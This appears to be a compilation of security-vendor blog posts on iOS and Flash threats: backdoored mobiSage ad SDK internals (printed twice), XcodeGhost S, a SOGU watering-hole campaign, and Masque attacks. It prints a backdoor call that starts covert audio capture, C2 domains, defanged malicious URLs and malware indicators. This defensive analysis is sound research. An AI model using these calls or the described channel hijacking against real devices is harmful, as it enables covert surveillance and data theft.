One of the manifestations of such a cost is the app hot patching process, where a simple bug fix has to go through an app review process that subjects the developers to an average waiting time of seven days before updated code is approved. Thus, it is not surprising to see developers seeking various solutions that attempt to bypass this wait period, but which lead to unintended security risks that may catch Apple off guard.

JSPatch is one of several different offerings that provide a low-cost and streamlined patching process for iOS developers. All of these offerings expose a similar attack vector that allows patching scripts to alter the app behavior at runtime, without the constraints imposed by the App Store’s vetting process. Our demonstration of abusing JSPatch capabilities for malicious gain, as well as our presentation of different attack scenarios, highlights an urgent problem and an imperative need for a better solution – notably due to a growing number of app developers in China and beyond having adopted JSPatch.

Many developers have doubts that the App Store would accept technologies leveraging scripts such as JavaScript. According to Apple’s App Store Review Guidelines, apps that download code in any way or form will be rejected. However, the JSPatch community argues it is in compliance with Apple’s iOS Developer Program Information, which makes an exception to scripts and code downloaded and run by Apple's built-in WebKit framework or JavascriptCore, provided that such scripts and code do not change the primary purpose of the application by providing features or functionality that are inconsistent with the intended and advertised purpose of the application as submitted to the App Store.

The use of malicious JavaScript (which presumably changes the primary purpose of the application) is clearly prohibited by the App Store policy. JSPatch is walking a fine line, but it is not alone. In our coming reports, we intend to similarly examine more solutions in order to find a better solution that satisfies Apple and the developer community without jeopardizing the users security experience. Stay tuned!

 

[1] We have contacted the app provider regarding the issue. In order to protect the app vendor and its users, we choose to not disclose the identity before they have this issue addressed.
[2] The redacted part is the hardcoded decryption key.

 

iBackDoor: High-Risk Code Hits iOS Apps

Introduction

FireEye mobile researchers recently discovered potentially “backdoored” versions of an ad library embedded in thousands of iOS apps originally published in the Apple App Store. The affected versions of this library embedded functionality in iOS apps that used the library to display ads, allowing for potential malicious access to sensitive user data and device functionality. NOTE: Apple has worked with us on the issue and has since removed the affected apps.

These potential backdoors could have been controlled remotely by loading JavaScript code from a remote server to perform the following actions on an iOS device:

  • Capture audio and screenshots
  • Monitor and upload device location
  • Read/delete/create/modify files in the app’s data container
  • Read/write/reset the app’s keychain (e.g., app password storage)
  • Post encrypted data to remote servers
  • Open URL schemes to identify and launch other apps installed on the device
  • “Side-load” non-App Store apps by prompting the user to click an “Install” button

The offending ad library contained identifying data suggesting that it is a version of the mobiSage SDK [1]. We found 17 distinct versions of the potentially backdoored ad library: version codes 5.3.3 to 6.4.4. However, in the latest mobiSage SDK publicly released by adSage [2] – version 7.0.5 – the potential backdoors are not present. It is unclear whether the potentially backdoored versions of the ad library were released by adSage or if they were created and/or compromised by a malicious third party.

As of November 4, we have identified 2,846 iOS apps containing the potentially backdoored versions of mobiSage SDK. Among these, we observed more than 900 attempts to contact an ad adSage server capable of delivering JavaScript code to control the backdoors. We notified Apple of the complete list of affected apps and technical details on October 21, 2015.

While we have not observed the ad server deliver any malicious commands intended to trigger the most sensitive capabilities such as recording audio or stealing sensitive data, affected apps periodically contact the server to check for new JavaScript code. In the wrong hands, malicious JavaScript code that triggers the potential backdoors could be posted to eventually be downloaded and executed by affected apps.

Technical Details

As shown in Figure 1, the affected mobiSage library included two key components, separately implemented in Objective-C and JavaScript. The Objective-C component, which we refer to as msageCore, implements the underlying functionality of the potential backdoors and exposed interfaces to the JavaScript context through a WebView. The JavaScript component, which we refer to as msageJS, provides high-level execution logic and can trigger the potential backdoors by invoking the interfaces exposed by msageCore. Each component has its own separate version number.

Figure 1: Key components of backdoored mobiSage SDK

In the remainder of this section, we reveal internal details of msageCore, including its communication channel and high-risk interfaces. Then we describe how msageJS is launched and updated, and how it can trigger the backdoors.

Backdoors in msageCore

Communication channel

MsageCore implements a general framework to communicate with msageJS via the ad library’s WebView. Commands and parameters are passed via specially crafted URLs in the format adsagejs://cmd&parameter. As shown in the reconstructed code fragment in Figure 2, msageCore fetches the command and parameters from the JavaScript context and inserts them in its command queue.

Figure 2: Communication via URL loading in WebView

To process a command in its queue, msageCore dispatches the command, along with its parameters, to a corresponding Objective-C class and method. Figure 3 shows portions of the reconstructed command dispatching code.

Figure 3: Command dispatch in msageCore

At-risk interfaces

Each dispatched command ultimately arrives at an Objective-C class in msageCore. Table 1 shows a subset of msageCore classes and the corresponding interfaces that they expose.

msageCore Class Name

Interfaces

MSageCoreUIManagerPlugin

- captureAudio:

- captureImage:

- openMail:

- openSMS:

- openApp:

- openInAppStore:

- openCamera:

- openImagePicker:

- ...

MSageCoreLocation

- start:

- stop:

- setTimer:

- returnLocationInfo:webViewId:

- ...

MSageCorePluginFileModule

 

- createDir

- deleteDir:

- deleteFile:

- createFile:

- getFileContent:

- ...

MSageCoreKeyChain

- writeKeyValue:

- readValueByKey:

- resetValueByKey:

MSageCorePluginNetWork

- sendHttpGet:

- sendHttpPost:

- sendHttpUpload:

- ...

MSageCoreEncryptPlugin

- MD5Encrypt:

- SHA1Encrypt:

- AESEncrypt:

- AESDecrypt:

- DESEncrypt:

- DESDecrypt:

- XOREncrypt:

- XORDecrypt:

- RC4Encrypt:

- RC4Decrypt

- ...

Table 1: Selected interfaces exposed by msageCore

The selected interfaces reveal some of the key capabilities exposed by the potential backdoors in the library. They expose the potential ability to capture audio and screenshots while the affected app is in use, identify and launch other apps installed on the device, periodically monitor location, read and write files in the app’s data container, and read/write/reset “secure” keychain items stored by the app. Additionally, any data collected via these interfaces can be encrypted with various encryption schemes and uploaded to a remote server.

Beyond the selected interfaces, the ad library potentially exposed users to additional risks by including logic to promote and install “enpublic” apps as shown in Figure 4. As we have highlighted in previous blogs [footnotes 3, 4, 5, 6, 7], enpublic apps can introduce additional security risks by using private APIs in certain versions of iOS. These private APIs potentially allow for background monitoring of SMS or phone calls, breaking the app sandbox, stealing email messages, and demolishing arbitrary app installations. Apple has addressed a number of issues related to enpublic apps that we have brought to their attention.

Figure 4: Installing “enpublic” apps to bypass Apple App Store review

We can see how this ad library functions by examining the implementations of some of the selected interfaces. Figure 5 shows reconstructed code snippets for capturing audio. Before storing recorded audio to a file audio_xxx.wav, the code retrieves two parameters from the command for recording duration and threshold.

Figure 5: Capturing audio with duration and threshold

Figure 6 shows a code snippet for initializing the app’s keychain before reading. The accessed keychain is in the kSecClassGenericPassword class, which is widely used by apps for storing secret credentials such as passwords.

Figure 6: Reading the keychain in the kSecClassGenericPassword class

Remote control in msageJS

msageJS contains JavaScript code for communicating with a remote server and submitting commands to msageCore. The file layout of msageJS is shown in Figure 7. Inside sdkjs.js, we find a wrapper object called adsage and the JavaScript interface for command execution.

Figure 7: The file layout of msageJS

The command execution interface is constructed as follows:

          adsage.exec(className, methodName, argsList, onSuccess, onFailure);

The className and methodName parameters correspond to classes and methods in msageCore. The argsList parameter can be either a list or dict, and the exact types and values can be determined by reversing the methods in msageCore. The final two parameters are function callbacks invoked when the method exits. For example, the following invocation starts audio capture:

adsage.exec("MSageCoreUIManager", "captureAudio", ["Hey", 10, 40],  onSuccess, onFailure);

Note that the files comprising msageJS cannot be found by simply listing the files in an affected app’s IPA. The files themselves are zipped and encoded in Base64 in the data section of the ad library binary. After an affected app is launched, msageCore first decodes the string and extracts msageJS to the app’s data container, setting index.html shown in Figure 7 as the landing page in the ad library WebView to launch msageJS.

Figure 8: Base64 encoded JavaScript component in Zip format

When msageJS is launched, it sends a POST request to hxxp://entry.adsage.com/d/ to check for updates. The server responds with information about the latest msageJS version, including a download URL, as shown in Figure 9.

Figure 9: Server response to msageJS update request via HTTP POST

Enterprise Protection

To ensure the protection of our customers, FireEye has deployed detection rules in its Network Security (NX) and Mobile Threat Prevention (MTP) products to identify the affected apps and their network activities.

For FireEye NX customers, alerts will be generated if an employee uses an infected app while their iOS device is connected to the corporate network. FireEye MTP management customers have full visibility into high-risk apps installed on mobile devices in their deployment base. End users will receive on-device notifications of the risky app and IT administrators receive email alerts.

Conclusion

In this blog, we described an ad library that affected thousands of iOS apps with potential backdoor functionality. We revealed the internals of backdoors which could be used to trigger audio recording, capture screenshots, prompt the user to side-load other high-risk apps, and read sensitive data from the app’s keychain, among other dubious capabilities. We also showed how these potential backdoors in ad libraries could be controlled remotely by JavaScript code should their ad servers fall under malicious actors’ control.

[2] http://www.adsage.cn/
[3] https://www.fireeye.com/blog/threat-research/2015/08/ios_masque_attackwe.html
[4] https://www.fireeye.com/blog/threat-research/2015/02/ios_masque_attackre.html
[5] https://www.fireeye.com/blog/threat-research/2014/11/masque-attack-all-your-ios-apps-belong-to-us.html
[6] https://www.fireeye.com/blog/threat-research/2015/06/three_new_masqueatt.html
[7] https://www.virusbtn.com/virusbulletin/archive/2014/11/vb201411-Apple-without-shell

XcodeGhost S: A New Breed Hits the US

Just over a month ago, iOS users were warned of the threat to their devices by the XcodeGhost malware. Apple quickly reacted, taking down infected apps from the App Store and releasing new security features to stop malicious activities. Through continuous monitoring of our customers’ networks, FireEye researchers have found that, despite the quick response, the threat of XcodeGhost has maintained persistence and been modified.

More specifically, we found that:

  • XcodeGhost has entered into U.S. enterprises and is a persistent security risk
  • Its botnet is still partially active
  • A variant we call XcodeGhost S reveals more advanced samples went undetected

After monitoring XcodeGhost related activity for four weeks, we observed 210 enterprises with XcodeGhost-infected applications running inside their networks, generating more than 28,000 attempts to connect to the XcodeGhost Command and Control (CnC) servers -- which, while not under attacker control, are vulnerable to hijacking by threat actors. Figure 1 shows the top five countries XcodeGhost attempted to callback to during this time.

Figure 1. Top five countries XcodeGhost attempted to callback in a four-week span

The 210 enterprises we detected with XcodeGhost infections represent a wide range of industries. Figure 2 shows the top five industries affected by XcodeGhost, sorted by the percentage of callback attempts to the XcodeGhost CnC servers from inside their networks:

Figure 2: Top five industries affected based on callback attempts

Researchers have demonstrated how XcodeGhost CnC traffic can be hijacked to:

  • Distribute apps outside the App Store
  • Force browse to URL
  • Aggressively promote any app in the App Store by launching the download page directly
  • Pop-up phishing windows

Figure 3 shows the top 20 most active infected apps among 152 apps, based on data from our DTI cloud:

Figure 3: Top 20 infected apps

Although most vendors have already updated their apps on App Store, this chart indicates many users are actively using older, infected versions of various apps in the field. The version distribution varies among apps. For example, the most popular Apps 网易云音乐 and WeChat-infected versions are listed in Figure 4.

App Name

Version

Incident Count (in 3 weeks)

WeChat

6.2.5.19

2963

网易云音乐

Music 163

2.8.2

3084

2.8.3

2664

2.8.1

1227

Figure 4: Sample infected app versions

The infected iPhones are running iOS versions from 6.x.x to 9.x.x as illustrated by Figure 5. It is interesting to note that nearly 70% of the victims within our customer base remain on older iOS versions. We encourage them to update to the latest version iOS 9 as quickly as possible.

Figure 5: Distribution of iOS versions running infected apps

Some enterprises have taken steps to block the XcodeGhost DNS query within their network to cut off the communication between employees’ iPhones and the attackers’ CnC servers to protect them from being hijacked. However, until these employees update their devices and apps, they are still vulnerable to potential hijacking of the XcodeGhost CnC traffic -- particularly when outside their corporate networks.

Given the number of infected devices detected within a short period among so many U.S enterprises, we believe that XcodeGhost continues to be an ongoing threat for enterprises.

XcodeGhost Modified to Exploit iOS 9

We have worked with Apple to have all XcodeGhost and XcodeGhost S (described below) samples we have detected removed from the App Store.

XcodeGhost is planted in different versions of Xcode, including Xcode 7 (released for iOS 9 development). In the latest version, which we call XcodeGhost S, features have been added to infect iOS 9 and bypass static detection.

According to [1], Apple introduced the “NSAppTransportSecurity” approach for iOS 9 to improve client-server connection security. By default, only secure connections (https with specific ciphers) are allowed on iOS 9. Due to this limitation, previous versions of XcodeGhost would fail to connect with the CnC server by using http. However, Apple also allows developers to add exceptions (“NSAllowsArbitraryLoads”) in the app’s Info.plist to allow http connection. As shown in Figure 6, the XcodeGhost S sample reads the setting of “NSAllowsArbitraryLoads” under the “NSAppTransportSecurity” entry in the app’s Info.plist and picks different CnC servers (http/https) based on this setting.

Figure 6: iOS 9 adoption in XcodeGhost S

Further, the CnC domain strings are concatenated character by character to bypass the static detection in XcodeGhost S, such behavior is shown in Figure 7.

Figure 7: Construct the CnC domain character by character

The FireEye iOS dynamic analysis platform has successfully detected an app  (“自由邦”)  [2] infected by XcodeGhost S and this app has been taken down from App Store in cooperation with Apple. It is a shopping app for travellers and is available on both U.S. and CN App Stores. As shown in Figure 8, the infected app’s version is 2.6.6, updated on Sep. 15.

Figure 8: An App Store app is infected with XcodeGhost S

Enterprise Protection

FireEye MTP has detected and assisted in Apple’s takedown of thousands of XcodeGhost-infected iOS applications. We advise all organizations to notify their employees of the threat of XcodeGhost and other malicious iOS apps. Employees should make sure that they update all apps to the latest version. For the apps Apple has removed, users should remove the apps and switch to other uninfected apps on App Store.

FireEye MTP management customers have full visibility into which mobile devices are infected in their deployment base. We recommend that customers immediately review MTP alerts, locate infected devices/users, and quarantine the devices until the infected apps are removed. FireEye NX customers are advised to immediately review alert logs for activities related to XcodeGhost communications.

[1] https://developer.apple.com/library/prerelease/ios/technotes/App-Transport-Security-Technote/
[2] https://itunes.apple.com/us/app/id915233927
[3] http://drops.wooyun.org/papers/9024
[4] https://itunes.apple.com/us/app/pdf-reader-annotate-scan-sign/id368377690?mt=8
[5] https://itunes.apple.com/us/app/winzip-leading-zip-unzip-cloud/id500637987?mt=8
[7] https://www.fireeye.com/blog/threat-research/2015/08/ios_masque_attackwe.html
[8] https://www.fireeye.com/blog/threat-research/2015/02/ios_masque_attackre.html
[9] https://www.fireeye.com/blog/threat-research/2014/11/masque-attack-all-your-ios-apps-belong-to-us.html
[10] https://www.fireeye.com/blog/threat-research/2015/06/three_new_masqueatt.html

iBackDoor: High-risk Code Sneaks into the App Store

The library embeds backdoors in unsuspecting apps that make use of it to display ads, exposing sensitive data and functionality. The backdoors can be controlled remotely by loading JavaScript code from remote servers to perform the following actions:

  • Capture audio and screenshots.
  • Monitor and upload device location.
  • Read/delete/create/modify files in the app’s data container.
  • Read/Write/Reset the app’s keychain (e.g., app password storage).
  • Post encrypted data to remote servers.
  • Open URL schemes to identify and launch other apps installed on the device.
  • “Side-load” non-App Store apps by prompting the user to click an “Install” button.

The offending ad library contains identifying data suggesting that it is a version of the mobiSage SDK [1]. We found 17 distinct versions of the backdoored ad library, with version codes between 5.3.3 and 6.4.4. However, in the latest mobiSage SDK publicly released by adSage [2], identified as version 7.0.5, the backdoors are not present. We cannot determine with certainty whether the backdoored versions of the library were actually released by adSage, or whether they were created and/or compromised by a third party.

As of publication of this blog, we have identified 2846 apps published in the App Store containing backdoored versions of mobiSage SDK. Among these 2846 apps, we have observed over 900 attempt to contact their command and control (C2) server. We have notified Apple and provided the details to them.

These backdoors can be controlled not only by the original creators of the ad library, but potentially also by outside threat actors. While we have not observed commands from the C2 server intended to trigger the most sensitive capabilities such recording audio or stealing sensitive data, there are several ways that the backdoors could be abused by third-party targeted attackers to further compromise the security and privacy of the device and user:

  • An attacker could reverse-engineer the insecure HTTP-based control protocol between the ad library and its server, and then hijack the connection to insert commands to trigger the backdoors and steal sensitive information.
  • A malicious app developer can similarly inject commands, utilizing the library’s backdoors to build their own surveillance app. Since the ad library has passed the App Store review process in numerous apps, this is an attractive way to create an app with these hidden behaviors that will pass under Apple’s radar.

App Store Protections Ineffective

Despite Apple’s reputation for keeping malware out of the App Store with its strict review process, this case demonstrates that it is still possible for dangerous code that exposes users to critical security and privacy risks to sneak into the App Store by piggybacking on unsuspecting apps. Backdoors that enable silently recording audio and uploading sensitive data when triggered by downloaded code clearly violate the requirements of the iOS Developer Program [3]. The requirements state that apps are not permitted to download code or scripts, with the exception of scripts that “do not change the primary purpose of the Application by providing features or functionality that are inconsistent with the intended and advertised purpose of the Application as submitted to the App Store.” And, for apps that can record audio, “a reasonably conspicuous audio, visual or other indicator must be displayed to the user as part of the Application to indicate that a Recording is taking place.”  The backdoored versions of mobiSage clearly violate these requirements, yet thousands of affected apps made it past the App Store review process.

Technical Details

As shown in Figure 1, the backdoored mobiSage library includes two key components, separately implemented in Objective-C and JavaScript. The Objective-C component, which we refer to as msageCore, implements the underlying functionality of the backdoors and exposes interfaces to the JavaScript context through a WebView. The JavaScript component, which we refer to as msageJS, provides high-level execution logic and can trigger the backdoors by invoking the interfaces exposed by msageCore. Each component has its own separate version number.

 

Figure 1: Key components of backdoored mobiSage SDK

In the remainder of this section, we reveal internal details of msageCore, including its communication channel and high-risk interfaces. Then, we describe how msageJS is launched and updated, and how it can trigger the backdoors.

Backdoors in msageCore

Communication channel

MsageCore implements a general framework to communicate with msageJS via the ad library’s WebView. Commands and parameters are passed via specially crafted URLs in the format  adsagejs://cmd&parameter. As shown in the reconstructed code fragment in Figure 2, msageCore fetches the command and parameters from the JavaScript context and inserts them in its command queue.

 

 

Figure 2: Communication via URL loading in WebView.

To process a command in its queue, msageCore dispatches the command along with its parameters to a corresponding Objective-C class and method. Figure 3 shows portions of the reconstructed command dispatching code.

 

 

Figure 3: Command dispatch in msageCore.

High-risk interfaces

Each dispatched command ultimately arrives at an Objective-C class in msageCore. Table 1 shows a subset of msageCore classes and the corresponding interfaces that they expose.

msageCore Class Name

Interfaces

MSageCoreUIManagerPlugin

- captureAudio:

- captureImage:

- openMail:

- openSMS:

- openApp:

- openInAppStore:

- openCamera:

- openImagePicker:

- ...

MSageCoreLocation

- start:

- stop:

- setTimer:

- returnLocationInfo:webViewId:

- ...

MSageCorePluginFileModule

 

- createDir

- deleteDir:

- deleteFile:

- createFile:

- getFileContent:

- ...

MSageCoreKeyChain

- writeKeyValue:

- readValueByKey:

- resetValueByKey:

MSageCorePluginNetWork

- sendHttpGet:

- sendHttpPost:

- sendHttpUpload:

- ...

MSageCoreEncryptPlugin

- MD5Encrypt:

- SHA1Encrypt:

- AESEncrypt:

- AESDecrypt:

- DESEncrypt:

- DESDecrypt:

- XOREncrypt:

- XORDecrypt:

- RC4Encrypt:

- RC4Decrypt

- ...

Table 1: Selected interfaces exposed by msageCore

The selected interfaces reveal some of the key capabilities exposed by the backdoors in the library. They expose the ability to capture audio and screenshots while the affected app is in use, identify and launch other apps installed on the device, periodically monitor location, read and write files in the app’s data container, and read/write/reset “secure” keychain items stored by the app. Additionally, any data collected via these interfaces can be encrypted with various encryption schemes and uploaded to a remote server.

 

Beyond the selected interfaces, the ad library exposes users to additional risks by including explicit logic to promote and install “enpublic” apps shown in Figure 4. As we have highlighted in previous blogs [4, 5, 6, 7, 8], enpublic apps can introduce additional security risks by using private APIs, which would normally cause an app to be blocked by the App Store review process. In previous blogs we have described a number of “Masque” attacks utilizing enpublic apps [5, 6, 7], which affect pre-iOS 9 devices. The attacks include background monitoring of SMS or phone calls, breaking the app sandbox, stealing email messages, and demolishing arbitrary app installations.

 

 

Figure 4: Installing “enpublic” apps to bypass Apple App Store review

 

We can observe the functionality of the ad library by examining the implementations of some of the selected interfaces. Figure 5 shows reconstructed code snippets for capturing audio. Before storing recorded audio to a file audio_xxx.wav, the code retrieves two parameters from the command for recording duration and threshold.

 

 

Figure 5: Capturing audio with duration and threshold.

 

Figure 6 shows a code snippet for initializing the app’s keychain before reading. The accessed keychain is in the kSecClassGenericPassword class, which is widely used by apps for storing secret credentials such as passwords.

 

 

Figure 6: Reading the keychain in the kSecClassGenericPassword class.

Remote control in msageJS

msageJS contains JavaScript code for communicating with a C2 server and submitting commands to msageCore. The file layout of msageJS is shown in Figure 7. Inside sdkjs.js, we find a wrapper object called adsage and the JavaScript interface for command execution.

 

 

Figure 7: The file layout of msageJS

 

The command execution interface is constructed as follows:

 

          adsage.exec(className, methodName, argsList, onSuccess, onFailure);

 

The className and methodName parameters correspond to classes and methods in msageCore. The argsList parameter can be either a list or dict, and the exact types and values can be determined by reversing the methods in msageCore. The final two parameters are function callbacks invoked when the method exits. For example, the following invocation starts audio capture:

 

adsage.exec("MSageCoreUIManager", "captureAudio", ["Hey", 10, 40],  onSuccess, onFailure);

 

Note that the files comprising msageJS cannot be found by simply listing the files in an affected app’s IPA. The files themselves are zipped and encoded in Base64 in the data section of the ad library binary. After an affected app is launched, msageCore first decodes the string and extracts msageJS to the app’s data container, setting index.html shown in Figure 7 as the landing page in the ad library WebView to launch msageJS.

 

 

Figure 8: Base64 encoded JavaScript component in zip format.

 

When msageJS is launched, it sends a POST request to hxxp://entry.adsage.com/d/ to check for updates. The server responds with information about the latest msageJS version, including a download URL, as shown in Figure 9. Note that since the request uses HTTP rather than HTTPS, the response can be hijacked easily by a network attacker, who could replace the download URL with a link to malicious JavaScript code that triggers the backdoors.

 

Figure 9: Server response to msageJS update request via HTTP POST

Conclusion

In this blog, we described a high-risk ad library affecting thousands of iOS apps in the Apple App Store. We revealed the internals of backdoors which can be used to silently record audio, capture screenshots, prompt the user to side-load other high-risk apps, and read sensitive data from the app’s keychain, among other dubious capabilities. We also showed how these backdoors can be controlled remotely by JavaScript code fetched from the Internet in an insecure manner.

 

FireEye Protection

Immediately after we discovered the high-risk ad library and affected apps, FireEye updated detection rules in its NX and Mobile Threat Prevention (MTP) products to detect the affected apps and their network activities. In addition, FireEye customers can access the full list of affected apps upon request.

FireEye NX customers are alerted if an employee uses an infected app while their iOS device is connected to the corporate network. It is important to note that, even if the servers that the backdoored mobiSage SDK communicates with do not deliver JavaScript code that triggers the high-risk backdoors, the affected apps still try to connect to them using HTTP. This HTTP session is vulnerable to hijacking by outside attackers.

FireEye MTP management customers have full visibility into high-risk apps installed on mobile devices in their deployment base. End users receive on-device notifications of the detection and IT administrators receive email alerts.

Click here to learn more about FireEye Mobile Threat Protection product.

 

 

 

[1] http://www.adsage.com/mobisage

[2] http://www.adsage.cn/

[3] https://developer.apple.com/programs/ios/information/iOS_Program_Information_4_3_15.pdf [4] https://www.fireeye.com/blog/threat-research/2015/08/ios_masque_attackwe.html

[5] https://www.fireeye.com/blog/threat-research/2015/02/ios_masque_attackre.html

[6] https://www.fireeye.com/blog/threat-research/2014/11/masque-attack-all-your-ios-apps-belong-to-us.html

[7] https://www.fireeye.com/blog/threat-research/2015/06/three_new_masqueatt.html

[8] https://www.virusbtn.com/virusbulletin/archive/2014/11/vb201411-Apple-without-shell

 

 

 

 

Second Adobe Flash Zero-Day CVE-2015-5122 from HackingTeam Exploited in Strategic Web Compromise Targeting Japanese Victims

On July 14, FireEye researchers discovered attacks exploiting the Adobe Flash vulnerability CVE-2015-5122, just four days after Adobe released a patch. CVE-2015-5122 was the second Adobe Flash zero-day revealed in the leak of HackingTeam’s internal data. The campaign targeted Japanese organizations by using at least two legitimate Japanese websites to host a strategic web compromise (SWC), where victims ultimately downloaded a variant of the SOGU malware.

Strategic Web Compromise

At least two different Japanese websites were compromised to host the exploit framework and malicious downloads:

  • Japan’s International Hospitality and Conference Service Association (IHCSA) website (hxxp://www.ihcsa[.]or[.]jp) in Figure 1

    Figure 1: IHCSA website

  • Japan’s Cosmetech Inc. website (hxxp://cosmetech[.]co[.]jp)

The main landing page for the attacks is a specific URL seeded on the IHCSA website (hxxp://www.ihcsa[.]or[.]jp/zaigaikoukan/zaigaikoukansencho-1/), where users are redirected to the HackingTeam Adobe Flash framework hosted on the second compromised Japanese website. We observed in the past week this same basic framework across several different SWCs exploiting the “older” CVE-2015-5119 Adobe Flash vulnerability in Figure 2.

    Figure 2: First portion of exploit chain

The webpage (hxxp://cosmetech[.]co[.]jp/css/movie.html) is built with the open source framework Adobe Flex and checks if the user has at least Adobe Flash Player version 11.4.0 installed. If the victim has the correct version of Flash, the user is directed to run a different, more in-depth profiling script (hxxp://cosmetech.co.jp/css/swfobject.js), which checks for several more conditions in addition to their version of Flash. If the conditions are not met then the script will not attempt to load the Adobe Flash (SWF) file into the user’s browser. In at least two of the incidents we observed, the victims were running Internet Explorer 11 on Windows 7 machines.

The final component is delivering a malicious SWF file, which we confirmed exploits CVE-2015-5122 on Adobe Version 18.0.0.203 for Windows in Figure 3.

    Figure 3: Malicious SWF download

SOGU Malware, Possible New Variant

After successful exploitation, the SWF file dropped a SOGU variant—a backdoor widely used by Chinese threat groups and also known as “Kaba”—in a temporary directory under “AppData\Local\”. The directory contains the properties and configuration in Figure 4.

    Filename: Rdws.exe

    Size: 413696 bytes

    MD5: 5a22e5aee4da2fe363b77f1351265a00

    Compile Time: 2015-07-13 08:11:01

    SHA256: df5f1b802d553cddd3b99d1901a87d0d1f42431b366cfb0ed25f465285e38d27

    SSDeep:6144:Na/PSOE9OPXCQpA3abFUntBrDP3FVPsCE2NiYfFei78GlGeYO:IPSOE9OPXCQ
    pAK5YBvPPPrZVkiY2Y

    Import Hash: ae984e4ab41d192d631d4f923d9210e4

    PEHash: 57e6b26eac0f34714252957d26287bc93ef07db2

    .text: e683e1f9fb674f97cf4420d15dc09a2b

    .rdata: 3a92b98a74d7ffb095fe70cf8acacc75

    .data: b5d4f68badfd6e3454f8ad29da54481f

    .rsrc: 474f9723420a3f2d0512b99932a50ca7

    C2 Password: gogogod<

    Memo: 201507122359

    Process Inject Targets: %windir%\system32\svchost.exe

    Sogu Config Encoder: sogu_20140307

    Mutex Name: ZucFCoeHa8KvZcj1FO838HN&*wz4xSdmm1

    Figure 4: SOGU Binary ‘Rdws.exe’

The compile timestamp indicates the malware was assembled on July 13, less than a day before we observed the SWC. We believe the time stamp in this case is likely genuine, based on the time line of the incident. The SOGU binary also appears to masquerade as a legitimate Trend Micro file named “VizorHtmlDialog.exe” in Figure 5.

    LegalCopyright: Copyright (C) 2009-2010 Trend Micro Incorporated. All rights reserved.

    InternalName: VizorHtmlDialog

    FileVersion: 3.0.0.1303

    CompanyName: Trend Micro Inc.

    PrivateBuild: Build 1303 - 8/8/2010

    LegalTrademarks: Trend Micro Titanium is a registered trademark of Trend Micro Incorporated.

    Comments:

    ProductName: Trend Micro Titanium

    SpecialBuild: 1303

    ProductVersion: 3.0

    FileDescription: Trend Titanium

    OriginalFilename: VizorHtmlDialog.exe

    Figure 5: Rdws.exe version information

The threat group likely used Trend Micro, a security software company headquartered in Japan, as the basis for the fake file version information deliberately, given the focus of this campaign on Japanese organizations.

SOGU Command and Control

The SOGU variant calls out to a previously unobserved command and control (CnC) domain, “amxil[.]opmuert[.]org” over port 443 in Figure 6. It uses modified DNS TXT record beaconing with an encoding we have not previously observed with SOGU malware, along with a non-standard header, indicating that this is possibly a new variant.

    Figure 6: SOGU C2 beaconing

The WHOIS registrant email address for the domain did not indicate any prior malicious activity, and the current IP resolution (54.169.89.240) is for an Amazon Web Services IP address.

Another Quick Turnaround on Leveraging HackingTeam Zero-Days

Similar to the short turnaround time highlighted in our blog on the recent APT3/APT18 phishing attacks, the threat actor quickly employed the leaked zero-day vulnerability into a SWC campaign. The threat group appears to have used procured and compromised infrastructure to target Japanese organizations. In two days we have observed at least two victims related to this attack.

We cannot confirm how the organizations were targeted, though similar incidents involving SWC and exploitation of the Flash vulnerability CVE-2015-5119 lured victims with phishing emails. Additionally, the limited popularity of the niche site also contributes to our suspicion that phishing emails may have been the lure, and not incidental web browsing.

Malware Overlap with Other Chinese Threat Groups

We believe that this is a concerted campaign against Japanese companies given the nature of the SWC. The use of SOGU malware and dissemination method is consistent with the tactics of Chinese APT groups that we track. Chinese APT groups have previously targeted the affected Japanese organizations, but we have yet to confirm which group is responsible for this campaign.

Why Japan?

In this case, we do not have enough information to discern specifically what the threat actors may have been pursuing. The Japanese economy’s technological innovation and strengths in high-tech and precision goods have attracted the interest of multiple Chinese APT groups, who almost certainly view Japanese companies as a rich source of intellectual property and competitive intelligence. The Japanese government and military organizations are also frequent targets of cyber espionage.[1]  Japan’s economic influence, alliance with the United States, regional disputes, and evolving defense policies make the Japanese government a dedicated target of foreign intelligence.

Recommendations

FireEye maintains endpoint and network detection for CVE-2015-5122 and the backdoor used in this campaign. FireEye products and services identify this activity as SOGU/Kaba within the user interface. Additionally, we highly recommend:

  • Applying Adobe’s newest patch for Flash immediately;
  • Querying for additional activity by the indicators from the compromised Japanese websites and the SOGU malware callbacks;
  • Blocking CnC addresses via outbound communications; and
  • Scope the environment to prepare for incident response.

     

    [1] Humber, Yuriy and Gearoid Reidy. “Yahoo Hacks Highlight Cyber Flaws Japan Rushing to Twart.” BloombergBusiness. 8 July 2014. http://www.bloomberg.com/news/articles/2014-07-08/yahoo-hacks-highlight-cyber-flaws-japan-rushing-to-thwart

    Japanese Ministry of Defense. “Trends Concerning Cyber Space.” Defense of Japan 2014.  http://www.mod.go.jp/e/publ/w_paper/pdf/2014/DOJ2014_1-2-5_web_1031.pdf

    LAC Corporation. “Cyber Grid View, Vol. 1.” http://www.lac.co.jp/security/report/pdf/apt_report_vol1_en.pdf

    Otake, Tomoko. “Japan Pension Service hack used classic attack method.” Japan Times. 2 June 2015. http://www.japantimes.co.jp/news/2015/06/02/national/social-issues/japan-pension-service-hack-used-classic-attack-method/

     

Three New Masque Attacks against iOS: Demolishing, Breaking and Hijacking

In the recent release of iOS 8.4, Apple fixed several vulnerabilities including vulnerabilities that allow attackers to deploy two new kinds of Masque Attack (CVE-2015-3722/3725, and CVE-2015-3725). We call these exploits Manifest Masque and Extension Masque, which can be used to demolish apps, including system apps (e.g., Apple Watch, Health, Pay and so on), and to break the app data container. In this blog, we also disclose the details of a previously fixed, but undisclosed, masque vulnerability: Plugin Masque, which bypasses iOS entitlement enforcement and hijacks VPN traffic. Our investigation also shows that around one third of iOS devices still have not updated to versions 8.1.3 or above, even 5 months after the release of 8.1.3, and these devices are still vulnerable to all the Masque Attacks.

We have disclosed five kinds of Masque Attacks, as shown in the following table.

Name

Consequences disclosed till now

Mitigation status

App Masque

* Replace an existing app

* Harvest sensitive data

Fixed in iOS 8.1.3 [6]

URL Masque

* Bypass prompt of trust

* Hijack inter-app communication

Partially fixed in iOS 8.1.3 [11]

Manifest Masque

* Demolish other apps (incl. Apple Watch, Health, Pay, etc.) during over-the-air installations

Partially fixed in iOS 8.4

Plugin Masque

* Bypass prompt of trust

* Bypass VPN plugin entitlement

* Replace an existing VPN plugin

* Hijack device traffic

* Prevent device from rebooting

* Exploit more kernel vulnerabilities

Fixed in iOS 8.1.3

Extension Masque

* Access another app’s data

* Or prevent another app to access its own data

Partially fixed in iOS 8.4

